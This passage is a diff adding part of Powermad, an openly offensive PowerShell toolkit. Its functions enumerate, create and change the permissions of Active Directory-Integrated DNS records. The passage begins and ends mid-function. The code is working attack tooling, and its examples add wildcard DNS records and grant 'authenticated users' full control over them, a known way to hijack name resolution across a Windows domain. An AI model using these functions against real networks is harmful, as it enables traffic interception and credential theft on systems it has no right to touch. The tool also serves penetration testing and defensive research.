+        }
+
+        $DC_array = $Domain.Split(".")
+
+        ForEach($DC in $DC_array)
+        {
+            $distinguished_name += ",DC=$DC"
+        }
+
+        Write-Verbose "[+] Distinguished Name = $distinguished_name"
+    }
+    else 
+    {
+        $distinguished_name = "DC=$Node," + $DistinguishedName
+    }
+
+    if($Credential)
+    {
+        $directory_entry = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$DomainController/$distinguished_name",$Credential.UserName,$Credential.GetNetworkCredential().Password)
+    }
+    else
+    {
+        $directory_entry = New-Object System.DirectoryServices.DirectoryEntry "LDAP://$DomainController/$distinguished_name"
+    }
+
+    try
+    {
+        $output = $directory_entry.PsBase.ObjectSecurity.Owner
+    }
+    catch
+    {
+        Write-Output "[-] $($_.Exception.Message)"
+    }
+
+    if($directory_entry.Path)
+    {
+        $directory_entry.Close()
+    }
+
+    return $output
+}
+
+function Get-ADIDNSNodeTombstoned
+{
+    <#
+    .SYNOPSIS
+    This function can determine if a node has been tombstoned.
+
+    Author: Kevin Robertson (@kevin_robertson)  
+    License: BSD 3-Clause 
+    
+    .DESCRIPTION
+    This function checks the values of dnsTombstoned and dnsRecord in order to determine if a node if currently
+    tombstoned.
+
+    .PARAMETER Attribute
+    The ADIDNS node attribute.
+
+    .PARAMETER Credential
+    PSCredential object that will be used to read the attribute.
+
+    .PARAMETER DistinguishedName
+    Distinguished name for the ADIDNS zone. Do not include the node name.
+
+    .PARAMETER Domain
+    The targeted domain in DNS format. This parameter is required when using an IP address in the DomainController
+    parameter.
+
+    .PARAMETER DomainController
+    Domain controller to target. This parameter is mandatory on a non-domain attached system.
+
+    .PARAMETER Node
+    The ADIDNS node name.
+
+    .PARAMETER Partition
+    Default = DomainDNSZones: (DomainDNSZones,ForestDNSZones,System) The AD partition name where the zone is stored.
+
+    .PARAMETER Zone
+    The ADIDNS zone.
+
+    .EXAMPLE
+    Get the dnsRecord attribute value of a node named test.
+    Get-ADIDNSNodeAttribute -Node test -Attribute dnsRecord
+    
+    .LINK
+    https://github.com/Kevin-Robertson/Powermad
+    #>
+
+    [CmdletBinding()]
+    param
+    (
+        [parameter(Mandatory=$false)][String]$DistinguishedName,
+        [parameter(Mandatory=$false)][String]$Domain,
+        [parameter(Mandatory=$false)][String]$DomainController,
+        [parameter(Mandatory=$true)][String]$Node,
+        [parameter(Mandatory=$false)][ValidateSet("DomainDNSZones","ForestDNSZones","System")][String]$Partition = "DomainDNSZones",
+        [parameter(Mandatory=$false)][String]$Zone,
+        [parameter(Mandatory=$false)][System.Management.Automation.PSCredential]$Credential,
+        [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter
+    )
+
+    if($invalid_parameter)
+    {
+        Write-Output "[-] $($invalid_parameter) is not a valid parameter"
+        throw
+    }
+
+    if(!$DomainController -or !$Domain -or !$Zone)
+    {
+
+        try
+        {
+            $current_domain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
+        }
+        catch
+        {
+            Write-Output "[-] $($_.Exception.Message)"
+            throw
+        }
+
+    }
+
+    if(!$DomainController)
+    {
+        $DomainController = $current_domain.PdcRoleOwner.Name
+        Write-Verbose "[+] Domain Controller = $DomainController"
+    }
+
+    if(!$Domain)
+    {
+        $Domain = $current_domain.Name
+        Write-Verbose "[+] Domain = $Domain"
+    }
+
+    if(!$Zone)
+    {
+        $Zone = $current_domain.Name
+        Write-Verbose "[+] ADIDNS Zone = $Zone"
+    }
+
+    if(!$DistinguishedName)
+    {
+        
+        if($Partition -eq 'System')
+        {
+            $distinguished_name = "DC=$Node,DC=$Zone,CN=MicrosoftDNS,CN=$Partition"
+        }
+        else
+        {
+            $distinguished_name = "DC=$Node,DC=$Zone,CN=MicrosoftDNS,DC=$Partition"
+        }
+
+        $DC_array = $Domain.Split(".")
+
+        ForEach($DC in $DC_array)
+        {
+            $distinguished_name += ",DC=$DC"
+        }
+
+        Write-Verbose "[+] Distinguished Name = $distinguished_name"
+    }
+    else 
+    {
+        $distinguished_name = "DC=$Node," + $DistinguishedName
+    }
+
+    if($Credential)
+    {
+        $directory_entry = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$DomainController/$distinguished_name",$Credential.UserName,$Credential.GetNetworkCredential().Password)
+    }
+    else
+    {
+        $directory_entry = New-Object System.DirectoryServices.DirectoryEntry "LDAP://$DomainController/$distinguished_name"
+    }
+
+    try
+    {
+        $dnsTombstoned = $directory_entry.InvokeGet('dnsTombstoned')
+        $dnsRecord = $directory_entry.InvokeGet('dnsRecord')
+    }
+    catch
+    {
+
+        if($_.Exception.Message -notlike '*Exception calling "InvokeGet" with "1" argument(s): "The specified directory service attribute or value does not exist.*' -and
+        $_.Exception.Message -notlike '*The following exception occurred while retrieving member "InvokeGet": "The specified directory service attribute or value does not exist.*')
+        {
+            Write-Output "[-] $($_.Exception.Message)"
+            $directory_entry.Close()
+            throw
+        }
+
+    }
+
+    if($directory_entry.Path)
+    {
+        $directory_entry.Close()
+    }
+
+    $node_tombstoned = $false
+
+    if($dnsTombstoned -and $dnsRecord)
+    {
+
+        if($dnsRecord[0].GetType().name -eq [Byte])
+        {
+
+            if($dnsRecord.Count -ge 32 -and $dnsRecord[2] -eq 0)
+            {
+                $node_tombstoned = $true
+            }
+
+        }
+
+    }
+
+    return $node_tombstoned
+}
+
+function Get-ADIDNSPermission
+{
+    <#
+    .SYNOPSIS
+    This function gets a DACL of an ADIDNS node or zone.
+
+    Author: Kevin Robertson (@kevin_robertson)  
+    License: BSD 3-Clause 
+    
+    .DESCRIPTION
+    This function can be used to confirm that a user or group has the required permission
+    to modify an ADIDNS zone or node.
+
+    .PARAMETER Credential
+    PSCredential object that will be used to enumerate the DACL.
+
+    .PARAMETER DistinguishedName
+    Distinguished name for the ADIDNS node or zone.
+
+    .PARAMETER Domain
+    The targeted domain in DNS format. This parameter is required when using an IP address in the DomainController
+    parameter.
+
+    .PARAMETER DomainController
+    Domain controller to target. This parameter is mandatory on a non-domain attached system.
+
+    .PARAMETER Node
+    The ADIDNS node name.
+
+    .PARAMETER Partition
+    Default = DomainDNSZones: (DomainDNSZones,ForestDNSZones,System) The AD partition name where the zone is stored.
+
+    .PARAMETER Zone
+    The ADIDNS zone.
+
+    .EXAMPLE
+    Get the DACL for the default ADIDNS zone.
+    Get-ADIDNSPermission
+
+    .EXAMPLE
+    Get the DACL for an ADIDNS node named test.
+    Get-ADIDNSPermission -Node test
+
+    .LINK
+    https://github.com/Kevin-Robertson/Powermad
+    #>
+
+    [CmdletBinding()]
+    param
+    (
+        [parameter(Mandatory=$false)][String]$DistinguishedName,
+        [parameter(Mandatory=$false)][String]$Domain,
+        [parameter(Mandatory=$false)][String]$DomainController,
+        [parameter(Mandatory=$false)][String]$Node,
+        [parameter(Mandatory=$false)][ValidateSet("DomainDNSZones","ForestDNSZones","System")][String]$Partition = "DomainDNSZones",
+        [parameter(Mandatory=$false)][String]$Zone,
+        [parameter(Mandatory=$false)][System.Management.Automation.PSCredential]$Credential,
+        [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter
+    )
+
+    if($invalid_parameter)
+    {
+        Write-Output "[-] $($invalid_parameter) is not a valid parameter"
+        throw
+    }
+
+    if(!$DomainController -or !$Domain -or !$Zone)
+    {
+
+        try
+        {
+            $current_domain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
+        }
+        catch
+        {
+            Write-Output "[-] $($_.Exception.Message)"
+            throw
+        }
+
+    }
+
+    if(!$DomainController)
+    {
+        $DomainController = $current_domain.PdcRoleOwner.Name
+        Write-Verbose "[+] Domain Controller = $DomainController"
+    }
+
+    if(!$Domain)
+    {
+        $Domain = $current_domain.Name
+        Write-Verbose "[+] Domain = $Domain"
+    }
+
+    if(!$Zone)
+    {
+        $Zone = $current_domain.Name
+        Write-Verbose "[+] ADIDNS Zone = $Zone"
+    }
+
+    if(!$DistinguishedName)
+    {
+
+        if($Node)
+        {
+
+            if($Partition -eq 'System')
+            {
+                $distinguished_name = "DC=$Node,DC=$Zone,CN=MicrosoftDNS,CN=$Partition"
+            }
+            else
+            {
+                $distinguished_name = "DC=$Node,DC=$Zone,CN=MicrosoftDNS,DC=$Partition"
+            }
+
+        }
+        else
+        {
+
+            if($Partition -eq 'System')
+            {
+                $distinguished_name = "DC=$Zone,CN=MicrosoftDNS,CN=$Partition"
+            }
+            else
+            {
+                $distinguished_name = "DC=$Zone,CN=MicrosoftDNS,DC=$Partition"
+            }
+
+        }
+
+        $DC_array = $Domain.Split(".")
+
+        ForEach($DC in $DC_array)
+        {
+            $distinguished_name += ",DC=$DC"
+        }
+
+        Write-Verbose "[+] Distinguished Name = $distinguished_name"
+    }
+    else 
+    {
+        $distinguished_name = $DistinguishedName
+    }
+
+    if($Credential)
+    {
+        $directory_entry = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$DomainController/$distinguished_name",$Credential.UserName,$Credential.GetNetworkCredential().Password)
+    }
+    else
+    {
+        $directory_entry = New-Object System.DirectoryServices.DirectoryEntry "LDAP://$DomainController/$distinguished_name"
+    }
+
+    try
+    {
+        $directory_entry_security = $directory_entry.psbase.ObjectSecurity
+        $directory_entry_DACL = $directory_entry_security.GetAccessRules($true,$true,[System.Security.Principal.SecurityIdentifier])
+        $output=@()
+        
+        ForEach($ACE in $directory_entry_DACL)
+        {
+            $principal = ""
+            $principal_distingushed_name = ""
+
+            try
+            {
+                $principal = $ACE.IdentityReference.Translate([System.Security.Principal.NTAccount])
+            }
+            catch
+            {
+             
+                if($ACE.IdentityReference.AccountDomainSid)
+                {
+
+                    if($Credential)
+                    {
+                        $directory_entry_principal = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$DomainController/<SID=$($ACE.IdentityReference.Value)>",$Credential.UserName,$credential.GetNetworkCredential().Password)
+                    }
+                    else
+                    {
+                        $directory_entry_principal = New-Object System.DirectoryServices.DirectoryEntry "LDAP://$DomainController/<SID=$($ACE.IdentityReference.Value)>"
+                    }
+
+                    if($directory_entry_principal.Properties.userPrincipalname)
+                    {
+                        $principal = $directory_entry_principal.Properties.userPrincipalname.Value
+                    }
+                    else
+                    {
+                        $principal = $directory_entry_principal.Properties.sAMAccountName.Value
+                        $principal_distingushed_name = $directory_entry_principal.distinguishedName.Value
+                    }
+
+                    if($directory_entry_principal.Path)
+                    {
+                        $directory_entry_principal.Close()
+                    }
+
+                }
+
+            }
+            
+            $PS_object = New-Object PSObject
+            Add-Member -InputObject $PS_object -MemberType NoteProperty -Name "Principal" $principal
+
+            if($principal_distingushed_name)
+            {
+                Add-Member -InputObject $PS_object -MemberType NoteProperty -Name "DistinguishedName" $principal_distingushed_name
+            }
+
+            Add-Member -InputObject $PS_object -MemberType NoteProperty -Name "IdentityReference" $ACE.IdentityReference
+            Add-Member -InputObject $PS_object -MemberType NoteProperty -Name "ActiveDirectoryRights" $ACE.ActiveDirectoryRights
+            Add-Member -InputObject $PS_object -MemberType NoteProperty -Name "InheritanceType" $ACE.InheritanceType
+            Add-Member -InputObject $PS_object -MemberType NoteProperty -Name "ObjectType" $ACE.ObjectType
+            Add-Member -InputObject $PS_object -MemberType NoteProperty -Name "InheritedObjectType" $ACE.InheritedObjectType
+            Add-Member -InputObject $PS_object -MemberType NoteProperty -Name "ObjectFlags" $ACE.ObjectFlags
+            Add-Member -InputObject $PS_object -MemberType NoteProperty -Name "AccessControlType" $ACE.AccessControlType 
+            Add-Member -InputObject $PS_object -MemberType NoteProperty -Name "IsInherited" $ACE.IsInherited
+            Add-Member -InputObject $PS_object -MemberType NoteProperty -Name "InheritanceFlags" $ACE.InheritanceFlags
+            Add-Member -InputObject $PS_object -MemberType NoteProperty -Name "PropagationFlags" $ACE.PropagationFlags
+            $output += $PS_object
+        }
+
+    }
+    catch
+    {
+
+        if($_.Exception.Message -notlike "*Some or all identity references could not be translated.*")
+        {
+            Write-Output "[-] $($_.Exception.Message)"
+        }
+
+    }
+
+    if($directory_entry.Path)
+    {
+        $directory_entry.Close()
+    }
+
+    return $output
+}
+
+function Get-ADIDNSZone
+{
+    <#
+    .SYNOPSIS
+    This function can return ADIDNS zones.
+
+    Author: Kevin Robertson (@kevin_robertson)  
+    License: BSD 3-Clause 
+    
+    .DESCRIPTION
+    This function can return ADIDNS zones. The output format is a distinguished name. The distinguished name will
+    contain a partition value of either DomainDNSZones,ForestDNSZones, or System. The correct value can be inputed
+    to the Partition parameter for other Powermad ADIDNS functions.
+
+    .PARAMETER Credential
+    PSCredential object that will be used to read the attribute.
+
+    .PARAMETER DistinguishedName
+    Distinguished name for the ADIDNS zone. Do not include the node name.
+
+    .PARAMETER Domain
+    The targeted domain in DNS format. This parameter is required when using an IP address in the DomainController
+    parameter.
+
+    .PARAMETER DomainController
+    Domain controller to target. This parameter is mandatory on a non-domain attached system.
+
+    .PARAMETER Partition
+    (DomainDNSZones,ForestDNSZones,System) The AD partition name where the zone is stored. By default, this
+    function will loop through all three partitions.
+
+    .PARAMETER Zone
+    The ADIDNS zone to serach for.
+
+    .EXAMPLE
+    Get all ADIDNS zones.
+    Get-ADIDNSZone
+
+    .LINK
+    https://github.com/Kevin-Robertson/Powermad
+    #>
+
+    [CmdletBinding()]
+    param
+    (
+        [parameter(Mandatory=$false)][String]$DistinguishedName,
+        [parameter(Mandatory=$false)][String]$Domain,
+        [parameter(Mandatory=$false)][String]$DomainController,
+        [parameter(Mandatory=$false)][String]$Zone,
+        [parameter(Mandatory=$false)][ValidateSet("DomainDNSZones","ForestDNSZones","System")][String]$Partition = "",
+        [parameter(Mandatory=$false)][System.Management.Automation.PSCredential]$Credential,
+        [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter
+    )
+
+    if($invalid_parameter)
+    {
+        Write-Output "[-] $($invalid_parameter) is not a valid parameter"
+        throw
+    }
+
+    if(!$DomainController -or !$Domain)
+    {
+
+        try
+        {
+            $current_domain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
+        }
+        catch
+        {
+            Write-Output "[-] $($_.Exception.Message)"
+            throw
+        }
+
+    }
+
+    if(!$DomainController)
+    {
+        $DomainController = $current_domain.PdcRoleOwner.Name
+        Write-Verbose "[+] Domain Controller = $DomainController"
+    }
+
+    if(!$Domain)
+    {
+        $Domain = $current_domain.Name
+        Write-Verbose "[+] Domain = $Domain"
+    }
+
+    if(!$Partition)
+    {
+
+        if(!$DistinguishedName)
+        {
+            $partition_list = @("DomainDNSZones","ForestDNSZones","System")
+        }
+        else
+        {
+            $partition_array = $DistinguishedName.Split(",")
+            $partition_list = @($partition_array[0].Substring(3))
+        }
+
+    }
+    else
+    {
+        $partition_list = @($Partition)
+    }
+
+    ForEach($partition_entry in $partition_list)
+    {
+        Write-Verbose "[+] Partition = $partition_entry"
+
+        if(!$DistinguishedName)
+        {
+
+            if($partition_entry -eq 'System')
+            {
+                $distinguished_name = "CN=$partition_entry"
+            }
+            else
+            {
+                $distinguished_name = "DC=$partition_entry"
+            }
+
+            $DC_array = $Domain.Split(".")
+
+            ForEach($DC in $DC_array)
+            {
+                $distinguished_name += ",DC=$DC"
+            }
+
+            Write-Verbose "[+] Distinguished Name = $distinguished_name"
+        }
+        else
+        {
+            $distinguished_name = $DistinguishedName
+        }
+
+        if($Credential)
+        {
+            $directory_entry = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$DomainController/$distinguished_name",$Credential.UserName,$Credential.GetNetworkCredential().Password)
+        }
+        else
+        {
+            $directory_entry = New-Object System.DirectoryServices.DirectoryEntry "LDAP://$DomainController/$distinguished_name"
+        }
+
+        try
+        {
+            $directory_searcher = New-Object System.DirectoryServices.DirectorySearcher($directory_entry)
+            
+            if($Zone)
+            {
+                $directory_searcher.filter = "(&(objectClass=dnszone)(name=$Zone))"
+            }
+            else
+            {
+                $directory_searcher.filter = "(objectClass=dnszone)"
+            }
+
+            $search_results = $directory_searcher.FindAll()
+
+            for($i=0; $i -lt $search_results.Count; $i++)
+            {
+                $output += $search_results.Item($i).Properties.distinguishedname
+            }
+
+        }
+        catch
+        {
+            Write-Output "[-] $($_.Exception.Message)"
+        }
+
+        if($directory_entry.Path)
+        {
+            $directory_entry.Close()
+        }
+
+    }
+
+    return $output
+}
+
+function Grant-ADIDNSPermission
+{
+    <#
+    .SYNOPSIS
+    This function adds an ACE to an ADIDNS node or zone DACL.
+
+    Author: Kevin Robertson (@kevin_robertson)  
+    License: BSD 3-Clause 
+    
+    .DESCRIPTION
+    Users that create a new DNS node through LDAP or secure dynamic updates will have full
+    control access. This function can be used to provide additional accounts or groups access to the node.
+    Although this function will work on DNS zones, non-administrators will rarely have the ability
+    to modify an ADIDNS zone.
+
+    .PARAMETER Access
+    Default = GenericAll: The ACE access type. The options our, AccessSystemSecurity, CreateChild, Delete,
+    DeleteChild, DeleteTree, ExtendedRight , GenericAll, GenericExecute, GenericRead, GenericWrite, ListChildren,
+    ListObject, ReadControl, ReadProperty, Self, Synchronize, WriteDacl, WriteOwner, WriteProperty.
+
+    .PARAMETER Credential
+    PSCredential object that will be used to modify the DACL.
+
+    .PARAMETER DistinguishedName
+    Distinguished name for the ADIDNS node or zone.
+
+    .PARAMETER Domain
+    The targeted domain in DNS format. This parameter is required when using an IP address in the DomainController
+    parameter.
+
+    .PARAMETER DomainController
+    Domain controller to target. This parameter is mandatory on a non-domain attached system.
+
+    .PARAMETER Node
+    The ADIDNS node name.
+
+    .PARAMETER Partition
+    Default = DomainDNSZones: (DomainDNSZones,ForestDNSZones,System) The AD partition name where the zone is stored.
+
+    .PARAMETER Principal
+    The user or group that will be used for the ACE.
+
+    .PARAMETER Type
+    Default = Allow: The ACE allow or deny access type.
+
+    .PARAMETER Zone
+    The ADIDNS zone.
+
+    .EXAMPLE
+    Add full access to a wildcard record for "Authenticated Users".
+    Grant-ADIDNSPermission -Node * -Principal "authenticated users"
+
+    .LINK
+    https://github.com/Kevin-Robertson/Powermad
+    #>
+
+    [CmdletBinding()]
+    param
+    (
+        [parameter(Mandatory=$false)][ValidateSet("AccessSystemSecurity","CreateChild","Delete","DeleteChild",
+        "DeleteTree","ExtendedRight","GenericAll","GenericExecute","GenericRead","GenericWrite","ListChildren",
+        "ListObject","ReadControl","ReadProperty","Self","Synchronize","WriteDacl","WriteOwner","WriteProperty")][Array]$Access = "GenericAll",
+        [parameter(Mandatory=$false)][ValidateSet("Allow","Deny")][String]$Type = "Allow",    
+        [parameter(Mandatory=$false)][String]$DistinguishedName,
+        [parameter(Mandatory=$false)][String]$Domain,
+        [parameter(Mandatory=$false)][String]$DomainController,
+        [parameter(Mandatory=$false)][String]$Node,
+        [parameter(Mandatory=$false)][ValidateSet("DomainDNSZones","ForestDNSZones","System")][String]$Partition = "DomainDNSZones",
+        [parameter(Mandatory=$false)][String]$Principal,
+        [parameter(Mandatory=$false)][String]$Zone,
+        [parameter(Mandatory=$false)][System.Management.Automation.PSCredential]$Credential,
+        [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter
+    )
+
+    if($invalid_parameter)
+    {
+        Write-Output "[-] $($invalid_parameter) is not a valid parameter"
+        throw
+    }
+
+    if(!$DomainController -or !$Domain -or !$Zone)
+    {
+
+        try
+        {
+            $current_domain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
+        }
+        catch
+        {
+            Write-Output "[-] $($_.Exception.Message)"
+            throw
+        }
+
+    }
+
+    if(!$DomainController)
+    {
+        $DomainController = $current_domain.PdcRoleOwner.Name
+        Write-Verbose "[+] Domain Controller = $DomainController"
+    }
+
+    if(!$Domain)
+    {
+        $Domain = $current_domain.Name
+        Write-Verbose "[+] Domain = $Domain"
+    }
+
+    if(!$Zone)
+    {
+        $Zone = $current_domain.Name
+        Write-Verbose "[+] ADIDNS Zone = $Zone"
+    }
+
+    if(!$DistinguishedName)
+    {
+
+        if($Node)
+        {
+
+            if($Partition -eq 'System')
+            {
+                $distinguished_name = "DC=$Node,DC=$Zone,CN=MicrosoftDNS,CN=$Partition"
+            }
+            else
+            {
+                $distinguished_name = "DC=$Node,DC=$Zone,CN=MicrosoftDNS,DC=$Partition"
+            }
+
+        }
+        else
+        {
+
+            if($Partition -eq 'System')
+            {
+                $distinguished_name = "DC=$Zone,CN=MicrosoftDNS,CN=$Partition"
+            }
+            else
+            {
+                $distinguished_name = "DC=$Zone,CN=MicrosoftDNS,DC=$Partition"
+            }
+
+        }
+
+        $DC_array = $Domain.Split(".")
+
+        ForEach($DC in $DC_array)
+        {
+            $distinguished_name += ",DC=$DC"
+        }
+
+        Write-Verbose "[+] Distinguished Name = $distinguished_name"
+    }
+    else 
+    {
+        $distinguished_name = $DistinguishedName
+    }
+
+    if($Credential)
+    {
+        $directory_entry = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$DomainController/$distinguished_name",$Credential.UserName,$Credential.GetNetworkCredential().Password)
+    }
+    else
+    {
+        $directory_entry = New-Object System.DirectoryServices.DirectoryEntry "LDAP://$DomainController/$distinguished_name"
+    }
+
+    try
+    {
+        $NT_account = New-Object System.Security.Principal.NTAccount($Principal)
+        $principal_SID = $NT_account.Translate([System.Security.Principal.SecurityIdentifier])
+        $principal_identity = [System.Security.Principal.IdentityReference]$principal_SID
+        $AD_rights = [System.DirectoryServices.ActiveDirectoryRights]$Access
+        $access_control_type = [System.Security.AccessControl.AccessControlType]$Type
+        $AD_security_inheritance = [System.DirectoryServices.ActiveDirectorySecurityInheritance]"All"
+        $ACE = New-Object System.DirectoryServices.ActiveDirectoryAccessRule($principal_identity,$AD_rights,$access_control_type,$AD_security_inheritance)
+    }
+    catch
+    {
+        Write-Output "[-] $($_.Exception.Message)"
+        throw
+    }
+
+    try
+    {
+        $directory_entry.psbase.ObjectSecurity.AddAccessRule($ACE)
+        $directory_entry.psbase.CommitChanges()
+
+        if($Node)
+        {
+            Write-Output "[+] ACE added for $Principal to $Node DACL"
+        }
+        else
+        {
+            Write-Output "[+] ACE added for $Principal to $Zone DACL"
+        }
+
+    }
+    catch
+    {
+        Write-Output "[-] $($_.Exception.Message)"
+    }
+
+    if($directory_entry.Path)
+    {
+        $directory_entry.Close()
+    }
+
+    return $output
+}
+
+function New-ADIDNSNode
+{
+    <#
+    .SYNOPSIS
+    This function adds a DNS node to an Active Directory-Integrated DNS (ADIDNS) Zone through an encrypted LDAP
+    add request.
+
+    Author: Kevin Robertson (@kevin_robertson)  
+    License: BSD 3-Clause 
+    
+    .DESCRIPTION
+    This function creates an ADIDNS record by connecting to LDAP and adding an object of type dnsNode.
+
+    .PARAMETER Credential
+    PSCredential object that will be used to add the ADIDNS node.
+
+    .PARAMETER Data
+    For most record types this will be the destination hostname or IP address. For TXT records this can be used
+    for data.
+
+    .PARAMETER DistinguishedName
+    Distinguished name for the ADIDNS zone. Do not include the node name.
+
+    .PARAMETER DNSRecord
+    dnsRecord attribute byte array. If not specified, New-DNSRecordArray will generate the array. See MS-DNSP for
+    details on the dnsRecord structure.
+
+    .PARAMETER Domain
+    The targeted domain in DNS format. This parameter is mandatory on a non-domain attached system.
+
+    .PARAMETER DomainController
+    Domain controller to target. This parameter is mandatory on a non-domain attached system.
+
+    .PARAMETER Forest
+    The targeted forest in DNS format. This parameter is mandatory on a non-domain attached system.
+
+    .PARAMETER Node
+    The ADIDNS node name.
+
+    .PARAMETER Partition
+    Default = DomainDNSZones: (DomainDNSZones,ForestDNSZones,System) The AD partition name where the zone is stored.
+
+    .PARAMETER Port
+    SRV record port.
+
+    .PARAMETER Preference
+    MX record preference.
+
+    .PARAMETER Priority
+    SRV record priority.
+
+    .PARAMETER Tombstone
+    Switch: Sets the dnsTombstoned flag to true when the node is created. This places the node in a state that
+    allows it to be modified or fully tombstoned by any authenticated user.
+
+    .PARAMETER SOASerialNumber
+    The current SOA serial number for the target zone. Note, using this parameter will bypass connecting to a
+    DNS server and querying an SOA record.
+
+    .PARAMETER Static
+    Switch: Zeros out the timestamp to create a static record instead of a dynamic.
+
+    .PARAMETER TTL
+    Default = 600: DNS record TTL.
+
+    .PARAMETER Type
+    Default = A: DNS record type. This function supports A, AAAA, CNAME, DNAME, NS, MX, PTR, SRV, and TXT.
+
+    .PARAMETER Weight
+    SRV record weight.
+
+    .PARAMETER Zone
+    The ADIDNS zone. This parameter is mandatory on a non-domain attached system.
+
+    .EXAMPLE
+    Add a wildcard record to an ADIDNS zone and tombstones the node.
+    New-ADIDNSNode -Node * -Tombstone
+
+    .EXAMPLE
+    Add a wildcard record to an ADIDNS zone from a non-domain attached system.
+    $credential = Get-Credential
+    New-ADIDNSNode -Node * -DomainController dc1.test.local -Domain test.local -Zone test.local -Credential $credential
+
+    .LINK
+    https://github.com/Kevin-Robertson/Powermad
+    #>
+
+    [CmdletBinding()]
+    param
+    (
+        [parameter(Mandatory=$false)][String]$Data,
+        [parameter(Mandatory=$false)][String]$DistinguishedName,
+        [parameter(Mandatory=$false)][String]$Domain,
+        [parameter(Mandatory=$false)][String]$DomainController,
+        [parameter(Mandatory=$false)][String]$Forest,
+        [parameter(Mandatory=$true)][String]$Node,
+        [parameter(Mandatory=$false)][ValidateSet("DomainDNSZones","ForestDNSZones","System")][String]$Partition = "DomainDNSZones",
+        [parameter(Mandatory=$false)][ValidateSet("A","AAAA","CNAME","DNAME","MX","NS","PTR","SRV","TXT")][String]$Type = "A",
+        [parameter(Mandatory=$false)][String]$Zone,
+        [parameter(Mandatory=$false)][Byte[]]$DNSRecord,
+        [parameter(Mandatory=$false)][Int]$Preference,
+        [parameter(Mandatory=$false)][Int]$Priority,
+        [parameter(Mandatory=$false)][Int]$Weight,
+        [parameter(Mandatory=$false)][Int]$Port,
+        [parameter(Mandatory=$false)][Int]$TTL = 600,
+        [parameter(Mandatory=$false)][Int32]$SOASerialNumber,
+        [parameter(Mandatory=$false)][Switch]$Static,
+        [parameter(Mandatory=$false)][Switch]$Tombstone,
+        [parameter(Mandatory=$false)][System.Management.Automation.PSCredential]$Credential,
+        [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter
+    )
+
+    if($invalid_parameter)
+    {
+        Write-Output "[-] $($invalid_parameter) is not a valid parameter"
+        throw
+    }
+
+    $null = [System.Reflection.Assembly]::LoadWithPartialName("System.DirectoryServices.Protocols")
+
+    if(!$DomainController -or !$Domain -or !$Zone -or !$Forest)
+    {
+
+        try
+        {
+            $current_domain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
+        }
+        catch
+        {
+            Write-Output "[-] $($_.Exception.Message)"
+            throw
+        }
+
+    }
+
+    if(!$DomainController)
+    {
+        $DomainController = $current_domain.PdcRoleOwner.Name
+        Write-Verbose "[+] Domain Controller = $DomainController"
+    }
+
+    if(!$Domain)
+    {
+        $Domain = $current_domain.Name
+        Write-Verbose "[+] Domain = $Domain"
+    }
+
+    if(!$Forest)
+    {
+        $Forest = $current_domain.Forest
+        Write-Verbose "[+] Forest = $Forest"
+    }
+
+    if(!$Zone)
+    {
+        $Zone = $current_domain.Name
+        Write-Verbose "[+] ADIDNS Zone = $Zone"
+    }
+
+    if(!$DistinguishedName)
+    {
+        
+        if($Partition -eq 'System')
+        {
+            $distinguished_name = "DC=$Node,DC=$Zone,CN=MicrosoftDNS,CN=$Partition"
+        }
+        else
+        {
+            $distinguished_name = "DC=$Node,DC=$Zone,CN=MicrosoftDNS,DC=$Partition"
+        }
+
+        $DC_array = $Domain.Split(".")
+
+        ForEach($DC in $DC_array)
+        {
+            $distinguished_name += ",DC=$DC"
+        }
+
+        Write-Verbose "[+] Distinguished Name = $distinguished_name"
+    }
+    else 
+    {
+        $distinguished_name = "DC=$Node," + $DistinguishedName
+    }
+
+    if(!$DNSRecord)
+    {
+
+        try 
+        {
+
+            if($Static)
+            {
+                $DNSRecord = New-DNSRecordArray -Data $Data -DomainController $DomainController -Port $Port -Preference $Preference -Priority $Priority -SOASerialNumber $SOASerialNumber -TTL $TTL -Type $Type -Weight $Weight -Zone $Zone -Static
+            }
+            else
+            {
+                $DNSRecord = New-DNSRecordArray -Data $Data -DomainController $DomainController -Port $Port -Preference $Preference -Priority $Priority -SOASerialNumber $SOASerialNumber -TTL $TTL -Type $Type -Weight $Weight -Zone $Zone 
+            }
+            
+            Write-Verbose "[+] DNSRecord = $([System.Bitconverter]::ToString($DNSRecord))"
+        }
+        catch
+        {
+            Write-Output "[-] $($_.Exception.Message)"
+            throw    
+        }
+
+    }
+
+    $identifier = New-Object System.DirectoryServices.Protocols.LdapDirectoryIdentifier($DomainController,389)
+
+    if($Credential)
+    {
+        $connection = New-Object System.DirectoryServices.Protocols.LdapConnection($identifier,$Credential.GetNetworkCredential())
+    }
+    else
+    {
+        $connection = New-Object System.DirectoryServices.Protocols.LdapConnection($identifier)
+    }
+
+    $object_category = "CN=Dns-Node,CN=Schema,CN=Configuration"
+    $forest_array = $Forest.Split(".")
+
+    ForEach($DC in $forest_array)
+    {
+        $object_category += ",DC=$DC"
+    }
+    
+    try
+    {
+        $connection.SessionOptions.Sealing = $true
+        $connection.SessionOptions.Signing = $true
+        $connection.Bind()
+        $request = New-Object -TypeName System.DirectoryServices.Protocols.AddRequest
+        $request.DistinguishedName = $distinguished_name
+        $request.Attributes.Add((New-Object "System.DirectoryServices.Protocols.DirectoryAttribute" -ArgumentList "objectClass",@("top","dnsNode"))) > $null
+        $request.Attributes.Add((New-Object "System.DirectoryServices.Protocols.DirectoryAttribute" -ArgumentList "objectCategory",$object_category)) > $null
+        $request.Attributes.Add((New-Object "System.DirectoryServices.Protocols.DirectoryAttribute" -ArgumentList "dnsRecord",$DNSRecord)) > $null
+
+        if($Tombstone)
+        {
+            $request.Attributes.Add((New-Object "System.DirectoryServices.Protocols.DirectoryAttribute" -ArgumentList "dNSTombstoned","TRUE")) > $null
+        }
+        
+        $connection.SendRequest($request) > $null
